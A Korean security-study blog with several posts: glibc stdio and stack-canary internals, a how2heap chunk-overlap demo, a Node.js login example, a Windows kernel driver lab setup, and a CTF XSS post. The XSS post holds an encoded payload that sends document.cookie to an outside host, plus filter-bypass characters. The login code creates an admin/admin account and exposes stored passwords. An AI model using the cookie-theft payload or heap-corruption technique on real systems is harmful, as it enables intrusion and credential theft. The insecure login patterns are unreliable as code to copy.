Fuzzing paper

공부 2021. 3. 2. 19:35
반응형

https://wcventure.github.io/FuzzingPaper/#breaking-through-binaries-compiler-quality-instrumentation-for-better-binary-only-fuzzing--usenix-security2021

 

Recent Papers Related To Fuzzing

Recent Fuzzing Paper

wcventure.github.io

 

'공부' 카테고리의 다른 글

stdin, stdout시 동적할당  (0) 2019.07.11
[how2heap] overlapping_chunks2  (0) 2019.05.22
[nodejs] mongoose를 이용한 로그인 구현  (0) 2019.05.08
xss payload  (0) 2019.04.19
[Windows Kernel Driver] 개발환경 구성  (0) 2018.11.25
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

방학이 된지 벌써 3주차에 접어들었는데 늘어난건 메이플 레벨뿐....

 

그래서 전부터 살짝 신경쓰였던 stdin, stdout를 사용하면 동적할당이 왜 되는건지 찾아보게되었다.

 

먼저 분석하기 쉽고 stdout를 사용하는 함수인 puts를 살펴보겠다.

 

#include "libioP.h"
#include <string.h>
#include <limits.h>

int
_IO_puts (const char *str)
{
  int result = EOF;
  size_t len = strlen (str);
  _IO_acquire_lock (_IO_stdout);

  if ((_IO_vtable_offset (_IO_stdout) != 0
       || _IO_fwide (_IO_stdout, -1) == -1)
      && _IO_sputn (_IO_stdout, str, len) == len
      && _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
    result = MIN (INT_MAX, len + 1);

  _IO_release_lock (_IO_stdout);
  return result;
}

weak_alias (_IO_puts, puts)
libc_hidden_def (_IO_puts)

 

간단하게만 정리하면, 원하는 길이만큼 출력하기 위해서 _IO_sputn함수를 사용하는 것을 볼 수 있다.

 

이는 매크로형태로 정의되어있는데 아래의 흐름대로 코드가 구성된다.

#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
#define _IO_JUMPS_FUNC(THIS) \
  (IO_validate_vtable                                                   \
   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)        \
                             + (THIS)->_vtable_offset)))
#define _IO_JUMPS_FILE_plus(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)

#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
                                       + offsetof(TYPE, MEMBER)))
#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)
  
// ((_IO_FILE_plus *)&_IO_stdout)->vtable.__xsputn(stdout, "Hello World", 11)

 

그러므로 gdb에서 다음과 같이 출력해서 현재 어떤 함수가 설정되어있는지 직접 확인해보았다.

 

stdout->vtable

 

여기서 호출되는건 __xsputn이므로 설정된 함수를 찾아보면 아래와 같이 코드가 작성되어있다.

 

size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
  const char *s = (const char *) data;
  size_t to_do = n;
  int must_flush = 0;
  size_t count = 0;
  if (n <= 0)
    return 0;
  /* This is an optimized implementation.
     If the amount to be written straddles a block boundary
     (or the filebuf is unbuffered), use sys_write directly. */
  /* First figure out how much space is available in the buffer. */
  if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
    {
      count = f->_IO_buf_end - f->_IO_write_ptr;
      if (count >= n)
        {
          const char *p;
          for (p = s + n; p > s; )
            {
              if (*--p == '\n')
                {
                  count = p - s + 1;
                  must_flush = 1;
                  break;
                }
            }
        }
    }
  else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
  /* Then fill the buffer. */
  if (count > 0)
    {
      if (count > to_do)
        count = to_do;
      f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
      s += count;
      to_do -= count;
    }
  if (to_do + must_flush > 0)
    {
      size_t block_size, do_write;
      /* Next flush the (full) buffer. */
      if (_IO_OVERFLOW (f, EOF) == EOF)
        /* If nothing else has to be written we must not signal the
           caller that everything has been written.  */
        return to_do == 0 ? EOF : n - to_do;
      /* Try to maintain alignment: write a whole number of blocks.  */
      block_size = f->_IO_buf_end - f->_IO_buf_base;
      do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
      if (do_write)
        {
          count = new_do_write (f, s, do_write);
          to_do -= count;
          if (count < do_write)
            return n - to_do;
        }
      /* Now write out the remainder.  Normally, this will fit in the
         buffer, but it's somewhat messier for line-buffered files,
         so we let _IO_default_xsputn handle the general case. */
      if (to_do)
        to_do -= _IO_default_xsputn (f, s+do_write, to_do);
    }
  return n - to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)

 

출력할 문자의 길이 + must_flush의 합이 0보다 크게 될경우,  이전에 출력한 크기 이상으로 문자열 출력이 왔다는 것이므로 _IO_OVERFLOW 함수를 호출하게 된다. 하지만 이것도 매크로라서 펼쳐보면 아래와 같다.

 

((struct _IO_FILE_plus *)stdout)->__overflow) (f, EOF)

 

그러므로 위의 그림에서 보인 stdout->vtable을 다시 본 후, 해당 함수를 구글링하면 아래와 같이 구현되어있다.

 

int
_IO_new_file_overflow (FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {
      /* Allocate a buffer if needed. */
      if (f->_IO_write_base == NULL)
        {
          _IO_doallocbuf (f);
          _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
        }
   ....

 

이처럼 현재 버퍼로 사용할 메모리가 존재하지 않을경우 할당을 하게되는데 _IO_doallocbuf함수를 사용해서 적당하게 버퍼를 생성해주는 것을 볼 수 있다. 이 이후에 여러 ptr들을 설정해주고 할당된 버퍼를 사용하게 된다.

 

void
_IO_doallocbuf (FILE *fp)
{
  if (fp->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED) || fp->_mode > 0)
    if (_IO_DOALLOCATE (fp) != EOF)
      return;
  _IO_setb (fp, fp->_shortbuf, fp->_shortbuf+1, 0);
}
libc_hidden_def (_IO_doallocbuf)

// ((struct _IO_FILE_plus *)stdout)->vtable.__doallocate == __GI__IO_file_doallocate

int
_IO_file_doallocate (FILE *fp)
{
  size_t size;
  char *p;
  struct stat64 st;

  size = BUFSIZ;
  if (fp->_fileno >= 0 && __builtin_expect (_IO_SYSSTAT (fp, &st), 0) >= 0)
    {
      if (S_ISCHR (st.st_mode))
	{
	  /* Possibly a tty.  */
	  if (
#ifdef DEV_TTY_P
	      DEV_TTY_P (&st) ||
#endif
	      local_isatty (fp->_fileno))
	    fp->_flags |= _IO_LINE_BUF;
	}
#if defined _STATBUF_ST_BLKSIZE
      if (st.st_blksize > 0 && st.st_blksize < BUFSIZ)
	size = st.st_blksize;
#endif
    }
  p = malloc (size);
  if (__glibc_unlikely (p == NULL))
    return EOF;
  _IO_setb (fp, p, p + size, 1);
  return 1;
}
libc_hidden_def (_IO_file_doallocate)

 

결론을 내리자면 stdin, stdout은 처음에 NULL로 초기화가 되어있어서 사용하기 위해서는 버퍼를 동적으로 생성해줘야 한다는 점이다.

참고로 stderr은 이미 버퍼가 설정되어있으므로 어느정도 큰 문자열을 출력하지 않는 이상 동적할당하는 일은 없을 거다.

 

 

gdb-peda$ p *((struct _IO_FILE_plus *)stdout)
$9 = {
  file = {
    _flags = 0xfbad2084,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x0,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>,
    _fileno = 0x1,
    _flags2 = 0x0,
    _old_offset = 0xffffffffffffffff,
    _cur_column = 0x0,
    _vtable_offset = 0x0,
    _shortbuf = "",
    _lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>,
    _offset = 0xffffffffffffffff,
    _codecvt = 0x0,
    _wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0x0,
    _mode = 0x0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}
gdb-peda$ p *((struct _IO_FILE_plus *)stderr)
$10 = {
  file = {
    _flags = 0xfbad2887,
    _IO_read_ptr = 0x7ffff7dd25c3 <_IO_2_1_stderr_+131> "",
    _IO_read_end = 0x7ffff7dd25c3 <_IO_2_1_stderr_+131> "",
    _IO_read_base = 0x7ffff7dd25c3 <_IO_2_1_stderr_+131> "",
    _IO_write_base = 0x7ffff7dd25c3 <_IO_2_1_stderr_+131> "",
    _IO_write_ptr = 0x7ffff7dd25c3 <_IO_2_1_stderr_+131> "",
    _IO_write_end = 0x7ffff7dd25c3 <_IO_2_1_stderr_+131> "",
    _IO_buf_base = 0x7ffff7dd25c3 <_IO_2_1_stderr_+131> "",
    _IO_buf_end = 0x7ffff7dd25c4 <_IO_2_1_stderr_+132> "",
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7ffff7dd2620 <_IO_2_1_stdout_>,
    _fileno = 0x2,
    _flags2 = 0x0,
    _old_offset = 0xffffffffffffffff,
    _cur_column = 0x0,
    _vtable_offset = 0x0,
    _shortbuf = "",
    _lock = 0x7ffff7dd3770 <_IO_stdfile_2_lock>,
    _offset = 0xffffffffffffffff,
    _codecvt = 0x0,
    _wide_data = 0x7ffff7dd1660 <_IO_wide_data_2>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0x0,
    _mode = 0xffffffff,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

'공부' 카테고리의 다른 글

Fuzzing paper  (0) 2021.03.02
[how2heap] overlapping_chunks2  (0) 2019.05.22
[nodejs] mongoose를 이용한 로그인 구현  (0) 2019.05.08
xss payload  (0) 2019.04.19
[Windows Kernel Driver] 개발환경 구성  (0) 2018.11.25
블로그 이미지

KuroNeko_

KuroNeko

,
반응형
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main() {
	uint64_t *arr[5] = { NULL, };

	for(int i = 0; i < 5; i++){
		arr[i] = (uint64_t *)malloc(0x70);
		printf("arr[%d]: %p\n", i, arr[i]);
	}

	/*
	tcache bypass
	*/
	void *ptr[7] = { NULL, };
	void *ptr2[7] = { NULL, };
	for(int i = 0; i < 7; i++)
		ptr[i] = malloc(0x70);
	for(int i = 0; i < 7; i++)
		ptr2[i] = malloc(0xf0);

	for(int i = 0; i < 7; i++) {
		free(ptr[i]);
		free(ptr2[i]);
	}

	free(arr[3]);

	*(arr[1] - 1) = 0x101;
	free(arr[1]);

	*(arr[3] - 2) = 0x100;
	*(arr[3] - 1) &= -2;

	void *ptra = malloc(224);
	printf("ptr: %p\n", ptra);

	return 0;
}

 

tcache를 사용하지 않는 버전에서는 tcache bypass 부분을 제외하고 생각하면 된다.

 

이 기법은 아래대로 진행된다.

 

0. overlapping될 청크의 바로 다음 청크를 해제

1. 병합할 주소의 size에 값을 overlapping될 청크의 크기 + 현재 크기를 덮은 뒤 해제

2. overlapping될 청크의 바로 다음 청크의 prev_size, size를 덮음 (prev_inuse 제거)

 

'공부' 카테고리의 다른 글

Fuzzing paper  (0) 2021.03.02
stdin, stdout시 동적할당  (0) 2019.07.11
[nodejs] mongoose를 이용한 로그인 구현  (0) 2019.05.08
xss payload  (0) 2019.04.19
[Windows Kernel Driver] 개발환경 구성  (0) 2018.11.25
블로그 이미지

KuroNeko_

KuroNeko

,
반응형
const express = require("express");
const mongoose = require("mongoose");
const bodyparser = require("body-parser");

const app = express();

app.use(bodyparser.urlencoded({	extended: true }));
app.use(express.static("public"));

mongoose.Promise = global.Promise;
mongoose.connect("mongodb://localhost/test", { useNewUrlParser: true })
	.then(() => console.log("connected mongoose"))
	.catch(e => console.log(e));

const db = mongoose.connection;
var UserScheme = mongoose.Schema({
	username: String,
	password: String
});
var User = mongoose.model("User", UserScheme);

app.get("/setadmin", (req, res) => {
	var admin = new User({ username: "admin", password: "admin" });
	admin.save((err, result) => {});
	res.send("Done");
});

app.get("/list", (req, res) => {
	User.find({}, (err, docs) => {
		res.send(docs);
	});
});

app.get("/", (req, res) => {
	res.send(`
	<html>
	<body>
		<form action="/login" method="POST">
			<input type="text" name="username">
			<input type="text" name="password">
			<input type="submit" value="login">
		</form>
	</body>
	</html>
	`);
});

app.post("/login", (req, res) => {
	var username = req.body.username;
	var password = req.body.password;

	console.log(username, password);
	console.log(typeof username, typeof password);
	if(typeof username !== "string" || typeof password !== "string") {
		res.send("login failed");
		return;
	}

	User.findOne({ username: username, password: password }).exec((err, result) => {
		if(result){
			res.send(`hello ${username}`);
		} else {
			res.send("login failed");
		}
	});
});

app.listen(3000);

자다가 배고파서 라면먹고 nodejs 공부나 해야겠다 싶어서 구글링 해가면서 20분만에 짠 코드

 

typeof를 사용해서 string 체크하는 방식으로 nosql injection을 막아봄.

 

 

'공부' 카테고리의 다른 글

stdin, stdout시 동적할당  (0) 2019.07.11
[how2heap] overlapping_chunks2  (0) 2019.05.22
xss payload  (0) 2019.04.19
[Windows Kernel Driver] 개발환경 구성  (0) 2018.11.25
유저 영역 Stack Canary 분석  (2) 2018.08.16
블로그 이미지

KuroNeko_

KuroNeko

,

xss payload

공부 2019. 4. 19. 00:15
반응형

uppercase


https://uppercase.canhack.me/?text=%3Cinput%20type=text%20onfocu%C5%BF=%22%26%23108;%26%23111;%26%2399;%26%2397;%26%23116;%26%23105;%26%23111;%26%23110;%26%2361;%26%2396;%26%23104;%26%23116;%26%23116;%26%23112;%26%23115;%26%2358;%26%2347;%26%2347;%26%23110;%26%23101;%26%23107;%26%23111;%26%23112;%26%2346;%26%23107;%26%23114;%26%2363;%26%2336;%26%23123;%26%23100;%26%23111;%26%2399;%26%23117;%26%23109;%26%23101;%26%23110;%26%23116;%26%2346;%26%2399;%26%23111;%26%23111;%26%23107;%26%23105;%26%23101;%26%23125;%26%2396;%22%20autofocus%3E


İ (%c4%b0).toLowerCase() => i
ı (%c4%b1).toUpperCase() => I
ſ (%c5%bf) .toUpperCase() => S
K (%E2%84%AA).toLowerCase() => k



<svg><script>&#97;lert('xss');</script></svg>


'공부' 카테고리의 다른 글

[how2heap] overlapping_chunks2  (0) 2019.05.22
[nodejs] mongoose를 이용한 로그인 구현  (0) 2019.05.08
[Windows Kernel Driver] 개발환경 구성  (0) 2018.11.25
유저 영역 Stack Canary 분석  (2) 2018.08.16
python AES  (0) 2018.08.10
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

개발 및 디버깅 환경구성

- 호스트 환경

OS: Windows10 64bit

VM: VMware

Devtool: Visual Studio 2017

WDK: https://docs.microsoft.com/ko-kr/windows-hardware/drivers/other-wdk-downloads

(*최신버전: 2018.11.25기준 1709버전 WDK)

Debugging: VirtualKD, Windbg


- 게스트 환경(VM)

OS: Windows10 32bit

Driver Loader: OSR Driver Loader

Debugging: VirtualKD


- 환경 구성

1. VM에 Windows10 32bit를 설치

2. 자신의 Visual Studio 버전에 맞는 WDK를 다운로드

3. WDK프로젝트(빈프로젝트 아님)를 생성해 올바르게 컴파일 되는지 확인

4. 게스트의 네트워크 어뎁터를 브릿지 모드로 변경

5. 게스트에서 폴더하나를 생성해 공유 설정

6. 호스트에서 네트워크 드라이브를 게스트 OS에 연결

7. 준비된 OSR Driver Loader, VirtualKD target 폴더를 게스트 OS에 넣어줌

8. 게스트 OS에서 VirtualKD target폴더 안에 exe, reg파일 실행 후, x86 폴더에 있는 dll, sys파일을 system32폴더에 넣어준 후 잠시 종료

9. 호스트에서 vmmon64.exe(호스트 환경에 맞는 exe)실행 후, Debugger path(게스트 os bit와 일치시켜야함)설정

10. VMware에 게스트VM 설정을 들어가 Serial Port를 Named Pipe로 추가해준 후, VM 시작

11. 게스트에서 생성된 Boot 옵션에서 F8을 눌러 code signing을 disable 시켜줌

12. VirtualKD에서 windbg가 띄워지면서 연결되면 디버깅 환경 구축완료

13. Windbg에서 DbgPrint를 출력하기 위해 "ed nt!Kd_Default_Mask 8"를 입력

14. 그 다음 .symfix 후 .reload 명령을 수행


간단한 Driver, Application예제


Io_constant.h


#pragma once

#include <ntddk.h>
#define IOCTL_TEST CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)


driver.h


#pragma once

#include <ntddk.h>

void DriverUnload(PDRIVER_OBJECT pDriverObject);
NTSTATUS CreateCloseHandler(PDEVICE_OBJECT pDeviceObject, PIRP Irp);
NTSTATUS DeviceControl(PDEVICE_OBJECT pDeviceObject, PIRP Irp);
void StackOverflowHandler(PDEVICE_OBJECT pDeviceObject, PIRP Irp);


driver.c

#include <ntifs.h>
#include <ntddk.h>
#include <wdm.h>

#include "driver.h"
#include "Io_constants.h"

UNICODE_STRING devName;
UNICODE_STRING symName;

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath) {
	UNREFERENCED_PARAMETER(RegistryPath);
	
	PDEVICE_OBJECT DeviceObject = NULL;
	RtlInitUnicodeString(&devName, L"\\Device\\KernelBOF");
	RtlInitUnicodeString(&symName, L"\\DosDevices\\KernelBOFcat");

	NTSTATUS status = IoCreateDevice(pDriverObject, 0, &devName, FILE_DEVICE_UNKNOWN, 0, FALSE, &DeviceObject);
	if (!NT_SUCCESS(status))
		return status;
	
	status = IoCreateSymbolicLink(&symName, &devName);
	if (!NT_SUCCESS(status))
		return status;

	pDriverObject->DriverUnload = DriverUnload;
	pDriverObject->MajorFunction[IRP_MJ_CREATE] = CreateCloseHandler;
	pDriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateCloseHandler;
	pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceControl;

	return STATUS_SUCCESS;
}

void DriverUnload(PDRIVER_OBJECT pDriverObject) {
	IoDeleteSymbolicLink(&symName);
	IoDeleteDevice(pDriverObject->DeviceObject);
}

NTSTATUS CreateCloseHandler(PDEVICE_OBJECT pDeviceObject, PIRP Irp) {
	UNREFERENCED_PARAMETER(pDeviceObject);

	Irp->IoStatus.Status = STATUS_SUCCESS;
	IoCompleteRequest(Irp, IO_NO_INCREMENT);
	return Irp->IoStatus.Status;
}

NTSTATUS DeviceControl(PDEVICE_OBJECT pDeviceObject, PIRP Irp) {
	UNREFERENCED_PARAMETER(pDeviceObject);

	PIO_STACK_LOCATION pStack = IoGetCurrentIrpStackLocation(Irp);
	ULONG ctlCode = pStack->Parameters.DeviceIoControl.IoControlCode;

	Irp->IoStatus.Status = STATUS_SUCCESS;

	switch(ctlCode) {
	case IOCTL_TEST:
		DbgPrint("KuroNeko Device Driver Test\n");
		break;
	case IOCTL_OVERFLOW:
		StackOverflowHandler(pDeviceObject, Irp);
		break;
	default:
		break;
	}

	IoCompleteRequest(Irp, IO_NO_INCREMENT);
	return Irp->IoStatus.Status;
}

void StackOverflowHandler(PDEVICE_OBJECT pDeviceObject, PIRP Irp) {
	UNREFERENCED_PARAMETER(pDeviceObject);

	PIO_STACK_LOCATION pStack = IoGetCurrentIrpStackLocation(Irp);

	char *sBuffer = Irp->AssociatedIrp.SystemBuffer;
	DbgPrint("message: %s\n", sBuffer);
	
	if (pStack->Parameters.DeviceIoControl.InputBufferLength > 8) {
		RtlCopyMemory(sBuffer, "KuroNeko\x00", 9);
		Irp->IoStatus.Information = 9;
	}
	DbgPrint("message: %s\n", sBuffer);
}


코드 컴파일 후, 빌드 이벤트를 사용해 게스트 OS로 파일을 복사시킨 후, OSR Driver Loader로 빠른 로드 및 디버깅을 하자.

'공부' 카테고리의 다른 글

[nodejs] mongoose를 이용한 로그인 구현  (0) 2019.05.08
xss payload  (0) 2019.04.19
유저 영역 Stack Canary 분석  (2) 2018.08.16
python AES  (0) 2018.08.10
[IDA] C++ Class 변환  (0) 2017.08.09
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

1. 서론


32/64bit 환경에서 Stack Canary 기법이 걸려있는 것을 많이 볼 수 있다.


여러 pwnable 문제만 봐도 Stack Canary + Heap Exploit이 거의 대다수를 이루고 있다.


근데 여태까지 Stack Canary가 Mitigation인 것만 알고 있었고 어떤 식으로 동작을 하는지 분석을 해본적이 없었다.


뭐.. 심심하기도 해서 이렇게 분석한 것을 글로 남긴다.



2. 본론


먼저 아래와 같은 소스코드를 컴파일보자.


#include <stdio.h>

int main(){
        char buf[1024];
        puts("KuroNeko~");
        gets(buf);
        return 0;
}


[64bit 기준]

32bit 컴파일 : gcc -o canary canary.c -m32

64bit 컴파일 : gcc -o canary canary.c



이렇게 컴파일을 한 뒤, gdb를 통해 카나리를 얻고 체크하는 부분의 어셈블리는 아래의 그림과 같다.


[그림 1] 32bit 바이너리


[그림 2] 64bit 바이너리



32bit는 gs:0x14, 64bit는 QWORD PTR fs:0x28을 통해 canary를 얻어오고 함수가 끝나기 전에 xor을 통해서 검사를 진행한다.


일단, 32bit 기준으로 분석을 해보자.


linux에서 gs 레지스터는 TCB(Task Control Block)의 head 구조체를 참조하게 된다.


Link : https://github.com/lattera/glibc/blob/a2f34833b1042d5d8eeb263b4cf4caaea138c4ad/nptl/sysdeps/i386/tls.h#L44

typedef struct
{
  void *tcb;		/* Pointer to the TCB.  Not necessarily the
			   thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;		/* Pointer to the thread descriptor.  */
  int multiple_threads;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  int gscope_flag;
#ifndef __ASSUME_PRIVATE_FUTEX
  int private_futex;
#else
  int __unused1;
#endif
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[5];
} tcbhead_t;

우리가 여기서 주목해야할 것은 0x14 offset에 stack_guard인데, 이 값이 바이너리에서 사용되는 Canary값이 되게 된다. 그렇다면 stack_guard가 어떤 식으로 값이 쓰여지는지 확인하기 위해 glibc repository에서 검색을 해봤다. 아래의 링크를 참조하자


Link : https://github.com/lattera/glibc/blob/a2f34833b1042d5d8eeb263b4cf4caaea138c4ad/nptl/sysdeps/i386/tls.h#L433

/* Set the stack guard field in TCB head.  */
#define THREAD_SET_STACK_GUARD(value) \
  THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
#define THREAD_COPY_STACK_GUARD(descr) \
  ((descr)->header.stack_guard                  \
   = THREAD_GETMEM (THREAD_SELF, header.stack_guard))

위와 같이 THREAD_SETMEM이란 Macro를 통해서 stack_guard에 값을 쓰고 있는데, THREAD_SETMEM은 아래와 같다.



Link : https://github.com/lattera/glibc/blob/a2f34833b1042d5d8eeb263b4cf4caaea138c4ad/nptl/sysdeps/i386/tls.h#L328

# define THREAD_SETMEM(descr, member, value) \
  ({ if (sizeof (descr->member) == 1)               \
       asm volatile ("movb %b0,%%gs:%P1" :              \
         : "iq" (value),                \
           "i" (offsetof (struct pthread, member)));        \
     else if (sizeof (descr->member) == 4)              \
       asm volatile ("movl %0,%%gs:%P1" :             \
         : "ir" (value),                \
           "i" (offsetof (struct pthread, member)));        \
     else                     \
       {                      \
   if (sizeof (descr->member) != 8)             \
     /* There should not be any value with a size other than 1,       \
        4 or 8.  */                 \
     abort ();                    \
                        \
   asm volatile ("movl %%eax,%%gs:%P1\n\t"            \
           "movl %%edx,%%gs:%P2" :              \
           : "A" (value),               \
       "i" (offsetof (struct pthread, member)),       \
       "i" (offsetof (struct pthread, member) + 4));        \
       }})

보다싶이, 멤버 변수의 크기에 따라서 처리를 해주고 있는 모습을 볼 수 있다.


인자로 넣어진 값들은 THREAD_SLEF, header.stack_guard, value인데, THREAD_SELF 는 pthread 구조체이고 header.stack_guard의 offset 을 구해서 value을 쓰고 있는 것을 볼 수 있다.


일단, 그럼 THREAD_SET_STACK_GUARD Macro가 어디서 사용되는지 검색을 해보면 libc_start_main함수에서 사용하는 것을 볼 수 있다.


Link : https://github.com/lattera/glibc/blob/a2f34833b1042d5d8eeb263b4cf4caaea138c4ad/csu/libc-start.c#L148

  /* Set up the stack checker's canary.  */
  uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
# ifdef THREAD_SET_STACK_GUARD
  THREAD_SET_STACK_GUARD (stack_chk_guard);
# else
  __stack_chk_guard = stack_chk_guard;
# endif

_dl_setup_stack_chk_guard함수를 통해서 얻은 값을 canary로 설정하게 되는 것을 볼 수 있으니 _dl_setup_stack_chk_guard함수를 찾아보면 아래와 같다.


Link : https://github.com/lattera/glibc/blob/a2f34833b1042d5d8eeb263b4cf4caaea138c4ad/sysdeps/generic/dl-osinfo.h#L22

static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void *dl_random)
{
  union
  {
    uintptr_t num;
    unsigned char bytes[sizeof (uintptr_t)];
  } ret = { 0 };

  if (dl_random == NULL)
    {
      ret.bytes[sizeof (ret) - 1] = 255;
      ret.bytes[sizeof (ret) - 2] = '\n';
    }
  else
    {
      memcpy (ret.bytes, dl_random, sizeof (ret));
#if BYTE_ORDER == LITTLE_ENDIAN
      ret.num &= ~(uintptr_t) 0xff;
#elif BYTE_ORDER == BIG_ENDIAN
      ret.num &= ~((uintptr_t) 0xff << (8 * (sizeof (ret) - 1)));
#else
# error "BYTE_ORDER unknown"
#endif
    }
  return ret.num;
}

인자로 받은 dl_random의 NULL 여부를 통해서 reg.bytes에 값을 작성하게 되는데, union이므로 값을 같이 사용한다.


그리고 최하위 1byte를 NULL로 만들어준다. 이 때, 인자로 받았던 _dl_random은 전역변수로 정의 되어있고 찾아보면 아래와 같은 소스코드에서 작성된 것을 볼 수 있다.


Link : https://github.com/lattera/glibc/blob/a2f34833b1042d5d8eeb263b4cf4caaea138c4ad/sysdeps/generic/ldsodefs.h#L756

extern void *_dl_random attribute_hidden attribute_relro;

_dl_random이 어디서 값이 쓰여지는지 확인을 해본 결과 아래의 소스코드에서 작성되는 것을 볼 수 있다.


Link : https://github.com/lattera/glibc/blob/a2f34833b1042d5d8eeb263b4cf4caaea138c4ad/elf/dl-support.c#L242

void
internal_function
_dl_aux_init (elfw(auxv_t) *av)
{
  int seen = 0;
  uid_t uid = 0;
  gid_t gid = 0;

  _dl_auxv = av;
  for (; av->a_type != at_null; ++av)
    switch (av->a_type)
      {
      case at_pagesz:
        glro(dl_pagesize) = av->a_un.a_val;
        break;
      case at_clktck:
        glro(dl_clktck) = av->a_un.a_val;
        break;
      case at_phdr:
        gl(dl_phdr) = (void *) av->a_un.a_val;
        break;
      case at_phnum:
        gl(dl_phnum) = av->a_un.a_val;
        break;
      case at_hwcap:
        glro(dl_hwcap) = (unsigned long int) av->a_un.a_val;
        break;
#ifdef need_dl_sysinfo
      case at_sysinfo:
        gl(dl_sysinfo) = av->a_un.a_val;
        break;
#endif
#if defined need_dl_sysinfo || defined need_dl_sysinfo_dso
      case at_sysinfo_ehdr:
        gl(dl_sysinfo_dso) = (void *) av->a_un.a_val;
        break;
#endif
      case at_uid:
        uid ^= av->a_un.a_val;
        seen |= 1;
        break;
      case at_euid:
        uid ^= av->a_un.a_val;
        seen |= 2;
        break;
      case at_gid:
        gid ^= av->a_un.a_val;
        seen |= 4;
        break;
      case at_egid:
        gid ^= av->a_un.a_val;
        seen |= 8;
        break;
      case at_secure:
        seen = -1;
        __libc_enable_secure = av->a_un.a_val;
        __libc_enable_secure_decided = 1;
        break;
      case at_random:
        _dl_random = (void *) av->a_un.a_val;
        break;
# ifdef dl_platform_auxv
      dl_platform_auxv
# endif
      }
  if (seen == 0xf)
    {
      __libc_enable_secure = uid != 0 || gid != 0;
      __libc_enable_secure_decided = 1;
    }
}
#endif

보다시피 auxv라고 하는 것을 사용하는 것을 볼 수 있는데, auxv는 Auxiliary Vectors의 약자로 kernel data를 user process에게 전달하는 메커니즘이다.


다른 것들도 중요하긴한데, 우리가 여기서 주목해야할 것은 AT_RANDOM type일 때 _dl_random 값을 넣어주는 것을 볼 수 있다는 점이다. 


auxv에서 얻어온 값을 _dl_random에 집어넣고 그 이후에 _dl_setup_stack_chk_guard함수에 의해서 우리가 자주 봐왔던 canary값을 만들어주게 된다.


auxv에 대해서 더 알고 싶다면 아래의 링크를 통해서 확인해보면 된다.


Link : http://articles.manugarg.com/aboutelfauxiliaryvectors.html



위의 링크를 참조해보면, envp의 바로 뒤부터 auxv가 있는 것을 알 수 있고, 이 곳은 Program Loader에 의해서 작성된다.


그럼 이제, auxv의 AT_RANDOM type 에 어떤 값이 쓰여지는지 알아보기 위해 아래의 소스코드를 보자.

Link : https://github.com/torvalds/linux/blob/master/fs/binfmt_elf.c#L261

...
  /*
   * Generate 16 random bytes for userspace PRNG seeding.
   */
  get_random_bytes(k_rand_bytes, sizeof(k_rand_bytes));
  u_rand_bytes = (elf_addr_t __user *)
           STACK_ALLOC(p, sizeof(k_rand_bytes));
  if (__copy_to_user(u_rand_bytes, k_rand_bytes, sizeof(k_rand_bytes)))
    return -EFAULT;

  /* Create the ELF interpreter info */
